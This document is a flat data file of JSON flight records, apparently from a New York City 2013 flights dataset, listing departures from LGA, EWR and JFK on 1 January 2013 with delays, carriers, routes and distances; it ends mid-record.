-{"year":2013,"month":1,"day":1,"dep_time":1356,"sched_dep_time":1350,"dep_delay":6,"arr_time":1612,"sched_arr_time":1545,"arr_delay":27,"carrier":"MQ","flight":4577,"tailnum":"N513MQ","origin":"LGA","dest":"CLT","air_time":98,"distance":544,"hour":13,"minute":50,"time_hour":"2013-01-01 13:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1356,"sched_dep_time":1259,"dep_delay":57,"arr_time":1538,"sched_arr_time":1438,"arr_delay":60,"carrier":"UA","flight":32,"tailnum":"N17128","origin":"EWR","dest":"ORD","air_time":135,"distance":719,"hour":12,"minute":59,"time_hour":"2013-01-01 12:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1356,"sched_dep_time":1354,"dep_delay":2,"arr_time":1537,"sched_arr_time":1526,"arr_delay":11,"carrier":"UA","flight":617,"tailnum":"N840UA","origin":"LGA","dest":"ORD","air_time":146,"distance":733,"hour":13,"minute":54,"time_hour":"2013-01-01 13:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1356,"sched_dep_time":1350,"dep_delay":6,"arr_time":1659,"sched_arr_time":1640,"arr_delay":19,"carrier":"UA","flight":1258,"tailnum":"N26906","origin":"EWR","dest":"IAH","air_time":218,"distance":1400,"hour":13,"minute":50,"time_hour":"2013-01-01 13:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1358,"sched_dep_time":1350,"dep_delay":8,"arr_time":1742,"sched_arr_time":1715,"arr_delay":27,"carrier":"US","flight":688,"tailnum":"N654AW","origin":"EWR","dest":"PHX","air_time":318,"distance":2133,"hour":13,"minute":50,"time_hour":"2013-01-01 13:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1400,"sched_dep_time":1250,"dep_delay":70,"arr_time":1645,"sched_arr_time":1502,"arr_delay":103,"carrier":"EV","flight":4869,"tailnum":"N748EV","origin":"LGA","dest":"MEM","air_time":178,"distance":963,"hour":12,"minute":50,"time_hour":"2013-01-01 12:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1400,"sched_dep_time":1400,"dep_delay":0,"arr_time":1634,"sched_arr_time":1636,"arr_delay":-2,"carrier":"DL","flight":2247,"tailnum":"N6704Z","origin":"LGA","dest":"ATL","air_time":130,"distance":762,"hour":14,"minute":0,"time_hour":"2013-01-01 14:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1402,"sched_dep_time":1323,"dep_delay":39,"arr_time":1650,"sched_arr_time":1526,"arr_delay":84,"carrier":"EV","flight":4516,"tailnum":"N13123","origin":"EWR","dest":"MEM","air_time":183,"distance":946,"hour":13,"minute":23,"time_hour":"2013-01-01 13:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1408,"sched_dep_time":1411,"dep_delay":-3,"arr_time":1646,"sched_arr_time":1640,"arr_delay":6,"carrier":"FL","flight":349,"tailnum":"N895AT","origin":"LGA","dest":"ATL","air_time":133,"distance":762,"hour":14,"minute":11,"time_hour":"2013-01-01 14:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1411,"sched_dep_time":1315,"dep_delay":56,"arr_time":1717,"sched_arr_time":1611,"arr_delay":66,"carrier":"B6","flight":505,"tailnum":"N516JB","origin":"EWR","dest":"FLL","air_time":154,"distance":1065,"hour":13,"minute":15,"time_hour":"2013-01-01 13:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1416,"sched_dep_time":1411,"dep_delay":5,"arr_time":1603,"sched_arr_time":1549,"arr_delay":14,"carrier":"UA","flight":683,"tailnum":"N456UA","origin":"EWR","dest":"ORD","air_time":136,"distance":719,"hour":14,"minute":11,"time_hour":"2013-01-01 14:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1418,"sched_dep_time":1419,"dep_delay":-1,"arr_time":1726,"sched_arr_time":1732,"arr_delay":-6,"carrier":"UA","flight":16,"tailnum":"N37464","origin":"EWR","dest":"SEA","air_time":348,"distance":2402,"hour":14,"minute":19,"time_hour":"2013-01-01 14:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1419,"sched_dep_time":1420,"dep_delay":-1,"arr_time":1557,"sched_arr_time":1550,"arr_delay":7,"carrier":"MQ","flight":3728,"tailnum":"N500MQ","origin":"EWR","dest":"ORD","air_time":136,"distance":719,"hour":14,"minute":20,"time_hour":"2013-01-01 14:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1421,"sched_dep_time":1422,"dep_delay":-1,"arr_time":1517,"sched_arr_time":1535,"arr_delay":-18,"carrier":"B6","flight":1010,"tailnum":"N274JB","origin":"JFK","dest":"BOS","air_time":38,"distance":187,"hour":14,"minute":22,"time_hour":"2013-01-01 14:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1421,"sched_dep_time":1355,"dep_delay":26,"arr_time":1735,"sched_arr_time":1709,"arr_delay":26,"carrier":"B6","flight":83,"tailnum":"N503JB","origin":"JFK","dest":"SEA","air_time":349,"distance":2422,"hour":13,"minute":55,"time_hour":"2013-01-01 13:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1421,"sched_dep_time":1430,"dep_delay":-9,"arr_time":1724,"sched_arr_time":1752,"arr_delay":-28,"carrier":"DL","flight":1531,"tailnum":"N327NW","origin":"LGA","dest":"RSW","air_time":160,"distance":1080,"hour":14,"minute":30,"time_hour":"2013-01-01 14:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1422,"sched_dep_time":1410,"dep_delay":12,"arr_time":1613,"sched_arr_time":1555,"arr_delay":18,"carrier":"MQ","flight":4491,"tailnum":"N737MQ","origin":"LGA","dest":"CLE","air_time":93,"distance":419,"hour":14,"minute":10,"time_hour":"2013-01-01 14:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1422,"sched_dep_time":1425,"dep_delay":-3,"arr_time":1748,"sched_arr_time":1759,"arr_delay":-11,"carrier":"UA","flight":257,"tailnum":"N502UA","origin":"JFK","dest":"SFO","air_time":362,"distance":2586,"hour":14,"minute":25,"time_hour":"2013-01-01 14:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1423,"sched_dep_time":1430,"dep_delay":-7,"arr_time":1535,"sched_arr_time":1550,"arr_delay":-15,"carrier":"EV","flight":5710,"tailnum":"N835AS","origin":"LGA","dest":"IAD","air_time":53,"distance":229,"hour":14,"minute":30,"time_hour":"2013-01-01 14:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1424,"sched_dep_time":1349,"dep_delay":35,"arr_time":1701,"sched_arr_time":1556,"arr_delay":65,"carrier":"EV","flight":4687,"tailnum":"N15574","origin":"EWR","dest":"CVG","air_time":129,"distance":569,"hour":13,"minute":49,"time_hour":"2013-01-01 13:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1424,"sched_dep_time":1420,"dep_delay":4,"arr_time":1659,"sched_arr_time":1644,"arr_delay":15,"carrier":"EV","flight":4935,"tailnum":"N678CA","origin":"EWR","dest":"ATL","air_time":132,"distance":746,"hour":14,"minute":20,"time_hour":"2013-01-01 14:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1428,"sched_dep_time":1329,"dep_delay":59,"arr_time":1803,"sched_arr_time":1640,"arr_delay":83,"carrier":"B6","flight":355,"tailnum":"N635JB","origin":"JFK","dest":"BUR","air_time":371,"distance":2465,"hour":13,"minute":29,"time_hour":"2013-01-01 13:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1430,"sched_dep_time":1359,"dep_delay":31,"arr_time":1718,"sched_arr_time":1652,"arr_delay":26,"carrier":"UA","flight":278,"tailnum":"N563UA","origin":"EWR","dest":"PBI","air_time":149,"distance":1023,"hour":13,"minute":59,"time_hour":"2013-01-01 13:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1430,"sched_dep_time":1430,"dep_delay":0,"arr_time":1735,"sched_arr_time":1744,"arr_delay":-9,"carrier":"UA","flight":997,"tailnum":"N452UA","origin":"LGA","dest":"IAH","air_time":227,"distance":1416,"hour":14,"minute":30,"time_hour":"2013-01-01 14:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1431,"sched_dep_time":1429,"dep_delay":2,"arr_time":1727,"sched_arr_time":1722,"arr_delay":5,"carrier":"B6","flight":1161,"tailnum":"N562JB","origin":"LGA","dest":"PBI","air_time":151,"distance":1035,"hour":14,"minute":29,"time_hour":"2013-01-01 14:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1431,"sched_dep_time":1440,"dep_delay":-9,"arr_time":1627,"sched_arr_time":1616,"arr_delay":11,"carrier":"UA","flight":601,"tailnum":"N849UA","origin":"EWR","dest":"CLE","air_time":91,"distance":404,"hour":14,"minute":40,"time_hour":"2013-01-01 14:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1433,"sched_dep_time":1435,"dep_delay":-2,"arr_time":1636,"sched_arr_time":1644,"arr_delay":-8,"carrier":"DL","flight":1819,"tailnum":"N327NB","origin":"LGA","dest":"MSP","air_time":163,"distance":1020,"hour":14,"minute":35,"time_hour":"2013-01-01 14:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1436,"sched_dep_time":1435,"dep_delay":1,"arr_time":1840,"sched_arr_time":1820,"arr_delay":20,"carrier":"DL","flight":1322,"tailnum":"N722TW","origin":"JFK","dest":"SFO","air_time":375,"distance":2586,"hour":14,"minute":35,"time_hour":"2013-01-01 14:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1439,"sched_dep_time":1445,"dep_delay":-6,"arr_time":1558,"sched_arr_time":1613,"arr_delay":-15,"carrier":"DL","flight":1972,"tailnum":"N319NB","origin":"JFK","dest":"DCA","air_time":56,"distance":213,"hour":14,"minute":45,"time_hour":"2013-01-01 14:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1440,"sched_dep_time":1440,"dep_delay":0,"arr_time":1658,"sched_arr_time":1643,"arr_delay":15,"carrier":"DL","flight":1231,"tailnum":"N926DL","origin":"LGA","dest":"DTW","air_time":94,"distance":502,"hour":14,"minute":40,"time_hour":"2013-01-01 14:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1442,"sched_dep_time":1450,"dep_delay":-8,"arr_time":1728,"sched_arr_time":1755,"arr_delay":-27,"carrier":"AA","flight":1813,"tailnum":"N5FMAA","origin":"JFK","dest":"MCO","air_time":141,"distance":944,"hour":14,"minute":50,"time_hour":"2013-01-01 14:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1443,"sched_dep_time":1444,"dep_delay":-1,"arr_time":1600,"sched_arr_time":1602,"arr_delay":-2,"carrier":"EV","flight":4292,"tailnum":"N13908","origin":"EWR","dest":"IAD","air_time":51,"distance":212,"hour":14,"minute":44,"time_hour":"2013-01-01 14:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1445,"sched_dep_time":1455,"dep_delay":-10,"arr_time":1635,"sched_arr_time":1645,"arr_delay":-10,"carrier":"AA","flight":337,"tailnum":"N4UCAA","origin":"LGA","dest":"ORD","air_time":147,"distance":733,"hour":14,"minute":55,"time_hour":"2013-01-01 14:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1445,"sched_dep_time":1445,"dep_delay":0,"arr_time":1729,"sched_arr_time":1710,"arr_delay":19,"carrier":"MQ","flight":4669,"tailnum":"N532MQ","origin":"LGA","dest":"ATL","air_time":129,"distance":762,"hour":14,"minute":45,"time_hour":"2013-01-01 14:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1446,"sched_dep_time":1455,"dep_delay":-9,"arr_time":1803,"sched_arr_time":1825,"arr_delay":-22,"carrier":"AA","flight":1769,"tailnum":"N5EWAA","origin":"JFK","dest":"MIA","air_time":161,"distance":1089,"hour":14,"minute":55,"time_hour":"2013-01-01 14:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1448,"sched_dep_time":1445,"dep_delay":3,"arr_time":1651,"sched_arr_time":1647,"arr_delay":4,"carrier":"US","flight":1445,"tailnum":"N560UW","origin":"LGA","dest":"CLT","air_time":96,"distance":544,"hour":14,"minute":45,"time_hour":"2013-01-01 14:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1449,"sched_dep_time":1450,"dep_delay":-1,"arr_time":1651,"sched_arr_time":1640,"arr_delay":11,"carrier":"MQ","flight":4403,"tailnum":"N853MQ","origin":"JFK","dest":"RDU","air_time":78,"distance":427,"hour":14,"minute":50,"time_hour":"2013-01-01 14:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1451,"sched_dep_time":1500,"dep_delay":-9,"arr_time":1634,"sched_arr_time":1636,"arr_delay":-2,"carrier":"9E","flight":4105,"tailnum":"N8444F","origin":"JFK","dest":"IAD","air_time":57,"distance":228,"hour":15,"minute":0,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1452,"sched_dep_time":1455,"dep_delay":-3,"arr_time":1637,"sched_arr_time":1639,"arr_delay":-2,"carrier":"9E","flight":3295,"tailnum":"N920XJ","origin":"JFK","dest":"BUF","air_time":68,"distance":301,"hour":14,"minute":55,"time_hour":"2013-01-01 14:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1452,"sched_dep_time":1457,"dep_delay":-5,"arr_time":1753,"sched_arr_time":1811,"arr_delay":-18,"carrier":"B6","flight":61,"tailnum":"N292JB","origin":"JFK","dest":"FLL","air_time":162,"distance":1069,"hour":14,"minute":57,"time_hour":"2013-01-01 14:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1453,"sched_dep_time":1450,"dep_delay":3,"arr_time":1707,"sched_arr_time":1645,"arr_delay":22,"carrier":"MQ","flight":4172,"tailnum":"N610MQ","origin":"JFK","dest":"CLE","air_time":99,"distance":425,"hour":14,"minute":50,"time_hour":"2013-01-01 14:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1453,"sched_dep_time":1500,"dep_delay":-7,"arr_time":1601,"sched_arr_time":1620,"arr_delay":-19,"carrier":"US","flight":2179,"tailnum":"N951UW","origin":"LGA","dest":"DCA","air_time":51,"distance":214,"hour":15,"minute":0,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1454,"sched_dep_time":1458,"dep_delay":-4,"arr_time":1554,"sched_arr_time":1615,"arr_delay":-21,"carrier":"EV","flight":4390,"tailnum":"N11544","origin":"EWR","dest":"PWM","air_time":47,"distance":284,"hour":14,"minute":58,"time_hour":"2013-01-01 14:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1454,"sched_dep_time":1500,"dep_delay":-6,"arr_time":1635,"sched_arr_time":1636,"arr_delay":-1,"carrier":"9E","flight":3843,"tailnum":"N8409N","origin":"JFK","dest":"SYR","air_time":57,"distance":209,"hour":15,"minute":0,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1454,"sched_dep_time":1500,"dep_delay":-6,"arr_time":1815,"sched_arr_time":1837,"arr_delay":-22,"carrier":"DL","flight":1467,"tailnum":"N702TW","origin":"JFK","dest":"LAX","air_time":340,"distance":2475,"hour":15,"minute":0,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1455,"sched_dep_time":1457,"dep_delay":-2,"arr_time":1731,"sched_arr_time":1730,"arr_delay":1,"carrier":"B6","flight":119,"tailnum":"N279JB","origin":"JFK","dest":"MSY","air_time":192,"distance":1182,"hour":14,"minute":57,"time_hour":"2013-01-01 14:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1455,"sched_dep_time":1459,"dep_delay":-4,"arr_time":1655,"sched_arr_time":1645,"arr_delay":10,"carrier":"B6","flight":1053,"tailnum":"N203JB","origin":"JFK","dest":"PIT","air_time":87,"distance":340,"hour":14,"minute":59,"time_hour":"2013-01-01 14:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1455,"sched_dep_time":1500,"dep_delay":-5,"arr_time":1753,"sched_arr_time":1810,"arr_delay":-17,"carrier":"DL","flight":1997,"tailnum":"N997DL","origin":"LGA","dest":"PBI","air_time":152,"distance":1035,"hour":15,"minute":0,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1456,"sched_dep_time":1500,"dep_delay":-4,"arr_time":1649,"sched_arr_time":1632,"arr_delay":17,"carrier":"UA","flight":685,"tailnum":"N802UA","origin":"LGA","dest":"ORD","air_time":140,"distance":733,"hour":15,"minute":0,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1456,"sched_dep_time":1455,"dep_delay":1,"arr_time":1830,"sched_arr_time":1813,"arr_delay":17,"carrier":"UA","flight":1134,"tailnum":"N24212","origin":"EWR","dest":"AUS","air_time":252,"distance":1504,"hour":14,"minute":55,"time_hour":"2013-01-01 14:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1457,"sched_dep_time":1500,"dep_delay":-3,"arr_time":1758,"sched_arr_time":1815,"arr_delay":-17,"carrier":"UA","flight":379,"tailnum":"N401UA","origin":"EWR","dest":"RSW","air_time":166,"distance":1068,"hour":15,"minute":0,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1457,"sched_dep_time":1500,"dep_delay":-3,"arr_time":1652,"sched_arr_time":1656,"arr_delay":-4,"carrier":"US","flight":720,"tailnum":"N539UW","origin":"EWR","dest":"CLT","air_time":97,"distance":529,"hour":15,"minute":0,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1458,"sched_dep_time":1500,"dep_delay":-2,"arr_time":1658,"sched_arr_time":1655,"arr_delay":3,"carrier":"MQ","flight":4429,"tailnum":"N736MQ","origin":"LGA","dest":"CMH","air_time":94,"distance":479,"hour":15,"minute":0,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1459,"sched_dep_time":1501,"dep_delay":-2,"arr_time":1651,"sched_arr_time":1651,"arr_delay":0,"carrier":"EV","flight":5675,"tailnum":"N15572","origin":"EWR","dest":"CMH","air_time":96,"distance":463,"hour":15,"minute":1,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1459,"sched_dep_time":1454,"dep_delay":5,"arr_time":1750,"sched_arr_time":1751,"arr_delay":-1,"carrier":"UA","flight":1105,"tailnum":"N75435","origin":"EWR","dest":"TPA","air_time":152,"distance":997,"hour":14,"minute":54,"time_hour":"2013-01-01 14:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1500,"sched_dep_time":1459,"dep_delay":1,"arr_time":1809,"sched_arr_time":1806,"arr_delay":3,"carrier":"B6","flight":377,"tailnum":"N633JB","origin":"LGA","dest":"FLL","air_time":167,"distance":1076,"hour":14,"minute":59,"time_hour":"2013-01-01 14:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1502,"sched_dep_time":1500,"dep_delay":2,"arr_time":1802,"sched_arr_time":1806,"arr_delay":-4,"carrier":"UA","flight":456,"tailnum":"N406UA","origin":"EWR","dest":"FLL","air_time":156,"distance":1065,"hour":15,"minute":0,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1505,"sched_dep_time":1310,"dep_delay":115,"arr_time":1638,"sched_arr_time":1431,"arr_delay":127,"carrier":"EV","flight":4497,"tailnum":"N17984","origin":"EWR","dest":"RIC","air_time":63,"distance":277,"hour":13,"minute":10,"time_hour":"2013-01-01 13:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1505,"sched_dep_time":1510,"dep_delay":-5,"arr_time":1654,"sched_arr_time":1655,"arr_delay":-1,"carrier":"MQ","flight":4447,"tailnum":"N734MQ","origin":"LGA","dest":"RDU","air_time":82,"distance":431,"hour":15,"minute":10,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1506,"sched_dep_time":1505,"dep_delay":1,"arr_time":1838,"sched_arr_time":1820,"arr_delay":18,"carrier":"AA","flight":759,"tailnum":"N3DUAA","origin":"LGA","dest":"DFW","air_time":248,"distance":1389,"hour":15,"minute":5,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1506,"sched_dep_time":1512,"dep_delay":-6,"arr_time":1723,"sched_arr_time":1741,"arr_delay":-18,"carrier":"UA","flight":407,"tailnum":"N513UA","origin":"LGA","dest":"DEN","air_time":237,"distance":1620,"hour":15,"minute":12,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1507,"sched_dep_time":1515,"dep_delay":-8,"arr_time":1651,"sched_arr_time":1656,"arr_delay":-5,"carrier":"9E","flight":3792,"tailnum":"N8631E","origin":"JFK","dest":"ROC","air_time":66,"distance":264,"hour":15,"minute":15,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1507,"sched_dep_time":1510,"dep_delay":-3,"arr_time":1748,"sched_arr_time":1745,"arr_delay":3,"carrier":"MQ","flight":4309,"tailnum":"N803MQ","origin":"JFK","dest":"IND","air_time":130,"distance":665,"hour":15,"minute":10,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1508,"sched_dep_time":1450,"dep_delay":18,"arr_time":1813,"sched_arr_time":1747,"arr_delay":26,"carrier":"UA","flight":1687,"tailnum":"N76529","origin":"EWR","dest":"MCO","air_time":146,"distance":937,"hour":14,"minute":50,"time_hour":"2013-01-01 14:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1510,"sched_dep_time":1517,"dep_delay":-7,"arr_time":1811,"sched_arr_time":1811,"arr_delay":0,"carrier":"B6","flight":537,"tailnum":"N563JB","origin":"EWR","dest":"TPA","air_time":156,"distance":997,"hour":15,"minute":17,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1511,"sched_dep_time":1500,"dep_delay":11,"arr_time":1753,"sched_arr_time":1742,"arr_delay":11,"carrier":"DL","flight":2347,"tailnum":"N678DL","origin":"LGA","dest":"ATL","air_time":135,"distance":762,"hour":15,"minute":0,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1511,"sched_dep_time":1515,"dep_delay":-4,"arr_time":1657,"sched_arr_time":1700,"arr_delay":-3,"carrier":"DL","flight":1456,"tailnum":"N318NB","origin":"LGA","dest":"BUF","air_time":60,"distance":292,"hour":15,"minute":15,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1512,"sched_dep_time":1518,"dep_delay":-6,"arr_time":1805,"sched_arr_time":1823,"arr_delay":-18,"carrier":"B6","flight":153,"tailnum":"N645JB","origin":"JFK","dest":"MCO","air_time":142,"distance":944,"hour":15,"minute":18,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1513,"sched_dep_time":1505,"dep_delay":8,"arr_time":1714,"sched_arr_time":1703,"arr_delay":11,"carrier":"EV","flight":4223,"tailnum":"N13914","origin":"EWR","dest":"CLT","air_time":102,"distance":529,"hour":15,"minute":5,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1513,"sched_dep_time":1515,"dep_delay":-2,"arr_time":1705,"sched_arr_time":1700,"arr_delay":5,"carrier":"MQ","flight":4333,"tailnum":"N635MQ","origin":"JFK","dest":"PIT","air_time":79,"distance":340,"hour":15,"minute":15,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1515,"sched_dep_time":1437,"dep_delay":38,"arr_time":1834,"sched_arr_time":1742,"arr_delay":52,"carrier":"B6","flight":347,"tailnum":"N178JB","origin":"JFK","dest":"SRQ","air_time":171,"distance":1041,"hour":14,"minute":37,"time_hour":"2013-01-01 14:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1518,"sched_dep_time":1516,"dep_delay":2,"arr_time":1837,"sched_arr_time":1832,"arr_delay":5,"carrier":"UA","flight":1699,"tailnum":"N53442","origin":"EWR","dest":"SFO","air_time":348,"distance":2565,"hour":15,"minute":16,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1520,"sched_dep_time":1430,"dep_delay":50,"arr_time":1835,"sched_arr_time":1735,"arr_delay":60,"carrier":"AA","flight":883,"tailnum":"N589AA","origin":"EWR","dest":"DFW","air_time":236,"distance":1372,"hour":14,"minute":30,"time_hour":"2013-01-01 14:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1520,"sched_dep_time":1525,"dep_delay":-5,"arr_time":1643,"sched_arr_time":1655,"arr_delay":-12,"carrier":"MQ","flight":3823,"tailnum":"N509MQ","origin":"JFK","dest":"DCA","air_time":57,"distance":213,"hour":15,"minute":25,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1520,"sched_dep_time":1520,"dep_delay":0,"arr_time":1817,"sched_arr_time":1816,"arr_delay":1,"carrier":"UA","flight":1593,"tailnum":"N13750","origin":"EWR","dest":"MCO","air_time":152,"distance":937,"hour":15,"minute":20,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1521,"sched_dep_time":1515,"dep_delay":6,"arr_time":1830,"sched_arr_time":1823,"arr_delay":7,"carrier":"DL","flight":507,"tailnum":"N378NW","origin":"LGA","dest":"MCO","air_time":145,"distance":950,"hour":15,"minute":15,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1522,"sched_dep_time":1530,"dep_delay":-8,"arr_time":1731,"sched_arr_time":1725,"arr_delay":6,"carrier":"MQ","flight":4146,"tailnum":"N902MQ","origin":"JFK","dest":"CMH","air_time":98,"distance":483,"hour":15,"minute":30,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1522,"sched_dep_time":1530,"dep_delay":-8,"arr_time":1858,"sched_arr_time":1855,"arr_delay":3,"carrier":"UA","flight":530,"tailnum":"N512UA","origin":"JFK","dest":"LAX","air_time":356,"distance":2475,"hour":15,"minute":30,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1523,"sched_dep_time":1516,"dep_delay":7,"arr_time":1831,"sched_arr_time":1828,"arr_delay":3,"carrier":"UA","flight":1600,"tailnum":"N18112","origin":"EWR","dest":"LAX","air_time":337,"distance":2454,"hour":15,"minute":16,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1524,"sched_dep_time":1457,"dep_delay":27,"arr_time":1828,"sched_arr_time":1801,"arr_delay":27,"carrier":"B6","flight":141,"tailnum":"N504JB","origin":"JFK","dest":"PBI","air_time":156,"distance":1028,"hour":14,"minute":57,"time_hour":"2013-01-01 14:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1525,"sched_dep_time":1340,"dep_delay":105,"arr_time":1831,"sched_arr_time":1626,"arr_delay":125,"carrier":"B6","flight":525,"tailnum":"N231JB","origin":"EWR","dest":"MCO","air_time":152,"distance":937,"hour":13,"minute":40,"time_hour":"2013-01-01 13:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1525,"sched_dep_time":1530,"dep_delay":-5,"arr_time":1934,"sched_arr_time":1805,"carrier":"MQ","flight":4525,"tailnum":"N719MQ","origin":"LGA","dest":"XNA","distance":1147,"hour":15,"minute":30,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1526,"sched_dep_time":1530,"dep_delay":-4,"arr_time":1714,"sched_arr_time":1650,"arr_delay":24,"carrier":"WN","flight":4105,"tailnum":"N280WN","origin":"EWR","dest":"MDW","air_time":141,"distance":711,"hour":15,"minute":30,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1527,"sched_dep_time":1530,"dep_delay":-3,"arr_time":1841,"sched_arr_time":1855,"arr_delay":-14,"carrier":"AA","flight":1039,"tailnum":"N3HYAA","origin":"JFK","dest":"FLL","air_time":163,"distance":1069,"hour":15,"minute":30,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1527,"sched_dep_time":1455,"dep_delay":32,"arr_time":1655,"sched_arr_time":1628,"arr_delay":27,"carrier":"B6","flight":8,"tailnum":"N607JB","origin":"JFK","dest":"BUF","air_time":66,"distance":301,"hour":14,"minute":55,"time_hour":"2013-01-01 14:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1527,"sched_dep_time":1533,"dep_delay":-6,"arr_time":1836,"sched_arr_time":1857,"arr_delay":-21,"carrier":"B6","flight":137,"tailnum":"N794JB","origin":"JFK","dest":"RSW","air_time":168,"distance":1074,"hour":15,"minute":33,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1527,"sched_dep_time":1515,"dep_delay":12,"arr_time":1854,"sched_arr_time":1810,"arr_delay":44,"carrier":"UA","flight":1695,"tailnum":"N69059","origin":"EWR","dest":"IAH","air_time":210,"distance":1400,"hour":15,"minute":15,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1528,"sched_dep_time":1459,"dep_delay":29,"arr_time":2002,"sched_arr_time":1647,"carrier":"EV","flight":3806,"tailnum":"N17108","origin":"EWR","dest":"STL","distance":872,"hour":14,"minute":59,"time_hour":"2013-01-01 14:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1528,"sched_dep_time":1530,"dep_delay":-2,"arr_time":1731,"sched_arr_time":1725,"arr_delay":6,"carrier":"AA","flight":2223,"tailnum":"N573AA","origin":"LGA","dest":"STL","air_time":160,"distance":888,"hour":15,"minute":30,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1529,"sched_dep_time":1457,"dep_delay":32,"arr_time":1720,"sched_arr_time":1634,"arr_delay":46,"carrier":"UA","flight":459,"tailnum":"N497UA","origin":"EWR","dest":"ORD","air_time":138,"distance":719,"hour":14,"minute":57,"time_hour":"2013-01-01 